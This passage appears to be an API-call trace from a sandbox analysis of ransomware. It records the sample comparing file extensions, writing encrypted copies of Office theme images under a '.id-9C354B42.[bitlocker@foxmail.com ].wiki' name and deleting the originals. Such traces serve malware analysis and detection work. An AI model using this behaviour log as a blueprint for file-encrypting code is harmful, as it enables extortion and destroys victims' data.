-1 [0054.026] lstrlenW (lpString=".7z") returned 3 [0054.026] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0054.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0054.026] lstrlenW (lpString=".dbf") returned 4 [0054.026] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0054.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0054.026] lstrlenW (lpString=".1cd") returned 4 [0054.026] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0054.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0054.026] lstrlenW (lpString=".jpg") returned 4 [0054.026] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0054.026] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0054.026] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0054.026] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0054.028] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1666) returned 1 [0054.028] CloseHandle (hObject=0x1f4) returned 1 [0054.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif")) returned 0x20 [0054.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0054.028] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0054.028] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.028] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.028] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0054.030] GetLastError () returned 0x0 [0054.030] ReadFile (in: hFile=0x1f4, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x682, lpOverlapped=0x0) returned 1 [0054.031] WriteFile (in: hFile=0x218, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x690, lpOverlapped=0x0) returned 1 [0054.032] ReadFile (in: hFile=0x1f4, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.032] WriteFile (in: hFile=0x218, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xea, lpOverlapped=0x0) returned 1 [0054.032] SetEndOfFile (hFile=0x218) returned 1 [0054.032] CloseHandle (hObject=0x218) returned 1 [0054.032] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.033] SetEndOfFile (hFile=0x1f4) returned 1 [0054.033] CloseHandle (hObject=0x1f4) returned 1 [0054.033] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0054.033] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\preview.gif")) returned 1 [0054.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0054.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0054.034] lstrlenW (lpString=".doc") returned 4 [0054.034] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.034] lstrlenW (lpString=".docx") returned 5 [0054.034] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0054.034] lstrlenW (lpString=".pdf") returned 4 [0054.034] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.034] lstrlenW (lpString=".xls") returned 4 [0054.034] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.034] lstrlenW (lpString=".xlsx") returned 5 [0054.034] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0054.034] lstrlenW (lpString=".ppt") returned 4 [0054.034] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0054.034] lstrlenW (lpString=".zip") returned 4 [0054.034] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.034] lstrlenW (lpString=".rar") returned 4 [0054.034] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.034] lstrlenW (lpString=".bz2") returned 4 [0054.034] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.034] lstrlenW (lpString=".7z") returned 3 [0054.034] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0054.034] lstrlenW (lpString=".dbf") returned 4 [0054.034] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0054.034] lstrlenW (lpString=".1cd") returned 4 [0054.034] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0054.034] lstrlenW (lpString=".jpg") returned 4 [0054.035] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0054.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0054.035] lstrlenW (lpString=".doc") returned 4 [0054.035] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.035] lstrlenW (lpString=".docx") returned 5 [0054.035] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0054.035] lstrlenW (lpString=".pdf") returned 4 [0054.035] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.035] lstrlenW (lpString=".xls") returned 4 [0054.035] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.035] lstrlenW (lpString=".xlsx") returned 5 [0054.035] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0054.035] lstrlenW (lpString=".ppt") returned 4 [0054.035] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0054.035] lstrlenW (lpString=".zip") returned 4 [0054.035] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.035] lstrlenW (lpString=".rar") returned 4 [0054.035] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.035] lstrlenW (lpString=".bz2") returned 4 [0054.035] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.035] lstrlenW (lpString=".7z") returned 3 [0054.035] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0054.035] lstrlenW (lpString=".dbf") returned 4 [0054.035] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0054.035] lstrlenW (lpString=".1cd") returned 4 [0054.035] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.035] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0054.035] lstrlenW (lpString=".jpg") returned 4 [0054.035] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.036] lstrcmpiW (lpString1=".PNG", lpString2=".wiki") returned -1 [0054.036] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0054.036] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0054.036] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=19563) returned 1 [0054.036] CloseHandle (hObject=0x1f4) returned 1 [0054.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png")) returned 0x20 [0054.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0054.036] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0054.036] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.036] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.036] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0054.037] GetLastError () returned 0x0 [0054.037] ReadFile (in: hFile=0x1f4, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x4c6b, lpOverlapped=0x0) returned 1 [0054.039] WriteFile (in: hFile=0x218, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x4c70, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x4c70, lpOverlapped=0x0) returned 1 [0054.041] ReadFile (in: hFile=0x1f4, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.041] WriteFile (in: hFile=0x218, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.041] SetEndOfFile (hFile=0x218) returned 1 [0054.041] CloseHandle (hObject=0x218) returned 1 [0054.041] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.041] SetEndOfFile (hFile=0x1f4) returned 1 [0054.042] CloseHandle (hObject=0x1f4) returned 1 [0054.042] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0054.042] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png")) returned 1 [0054.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0054.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0054.042] lstrlenW (lpString=".doc") returned 4 [0054.042] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0054.042] lstrlenW (lpString=".docx") returned 5 [0054.042] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0054.042] lstrlenW (lpString=".pdf") returned 4 [0054.042] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0054.042] lstrlenW (lpString=".xls") returned 4 [0054.042] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0054.043] lstrlenW (lpString=".xlsx") returned 5 [0054.043] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0054.043] lstrlenW (lpString=".ppt") returned 4 [0054.043] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0054.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0054.043] lstrlenW (lpString=".zip") returned 4 [0054.043] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0054.043] lstrlenW (lpString=".rar") returned 4 [0054.043] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0054.043] lstrlenW (lpString=".bz2") returned 4 [0054.043] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0054.043] lstrlenW (lpString=".7z") returned 3 [0054.043] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0054.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0054.043] lstrlenW (lpString=".dbf") returned 4 [0054.043] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0054.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0054.043] lstrlenW (lpString=".1cd") returned 4 [0054.043] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0054.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0054.043] lstrlenW (lpString=".jpg") returned 4 [0054.043] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0054.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0054.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0054.043] lstrlenW (lpString=".doc") returned 4 [0054.043] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0054.043] lstrlenW (lpString=".docx") returned 5 [0054.043] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0054.043] lstrlenW (lpString=".pdf") returned 4 [0054.043] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0054.043] lstrlenW (lpString=".xls") returned 4 [0054.043] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0054.043] lstrlenW (lpString=".xlsx") returned 5 [0054.043] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0054.044] lstrlenW (lpString=".ppt") returned 4 [0054.044] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0054.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0054.044] lstrlenW (lpString=".zip") returned 4 [0054.044] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0054.044] lstrlenW (lpString=".rar") returned 4 [0054.044] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0054.044] lstrlenW (lpString=".bz2") returned 4 [0054.044] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0054.044] lstrlenW (lpString=".7z") returned 3 [0054.044] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0054.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0054.044] lstrlenW (lpString=".dbf") returned 4 [0054.044] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0054.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0054.044] lstrlenW (lpString=".1cd") returned 4 [0054.044] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0054.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0054.044] lstrlenW (lpString=".jpg") returned 4 [0054.044] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0054.044] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0054.044] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0054.044] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0054.045] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1423) returned 1 [0054.045] CloseHandle (hObject=0x1f4) returned 1 [0054.045] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif")) returned 0x20 [0054.045] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0054.045] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0054.045] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.045] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.045] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0054.047] GetLastError () returned 0x0 [0054.047] ReadFile (in: hFile=0x1f4, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x58f, lpOverlapped=0x0) returned 1 [0054.048] WriteFile (in: hFile=0x218, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x590, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x590, lpOverlapped=0x0) returned 1 [0054.049] ReadFile (in: hFile=0x1f4, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.049] WriteFile (in: hFile=0x218, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xea, lpOverlapped=0x0) returned 1 [0054.049] SetEndOfFile (hFile=0x218) returned 1 [0054.049] CloseHandle (hObject=0x218) returned 1 [0054.049] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.049] SetEndOfFile (hFile=0x1f4) returned 1 [0054.050] CloseHandle (hObject=0x1f4) returned 1 [0054.050] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0054.050] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif")) returned 1 [0054.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0054.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0054.050] lstrlenW (lpString=".doc") returned 4 [0054.050] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.050] lstrlenW (lpString=".docx") returned 5 [0054.050] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0054.050] lstrlenW (lpString=".pdf") returned 4 [0054.050] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.050] lstrlenW (lpString=".xls") returned 4 [0054.050] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.051] lstrlenW (lpString=".xlsx") returned 5 [0054.051] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0054.051] lstrlenW (lpString=".ppt") returned 4 [0054.051] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0054.051] lstrlenW (lpString=".zip") returned 4 [0054.051] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.051] lstrlenW (lpString=".rar") returned 4 [0054.051] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.051] lstrlenW (lpString=".bz2") returned 4 [0054.051] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.051] lstrlenW (lpString=".7z") returned 3 [0054.051] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0054.051] lstrlenW (lpString=".dbf") returned 4 [0054.051] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0054.051] lstrlenW (lpString=".1cd") returned 4 [0054.051] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0054.051] lstrlenW (lpString=".jpg") returned 4 [0054.051] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0054.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0054.051] lstrlenW (lpString=".doc") returned 4 [0054.051] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.051] lstrlenW (lpString=".docx") returned 5 [0054.051] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0054.051] lstrlenW (lpString=".pdf") returned 4 [0054.051] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.051] lstrlenW (lpString=".xls") returned 4 [0054.051] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.051] lstrlenW (lpString=".xlsx") returned 5 [0054.051] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0054.051] lstrlenW (lpString=".ppt") returned 4 [0054.052] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0054.052] lstrlenW (lpString=".zip") returned 4 [0054.052] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.052] lstrlenW (lpString=".rar") returned 4 [0054.052] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.052] lstrlenW (lpString=".bz2") returned 4 [0054.052] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 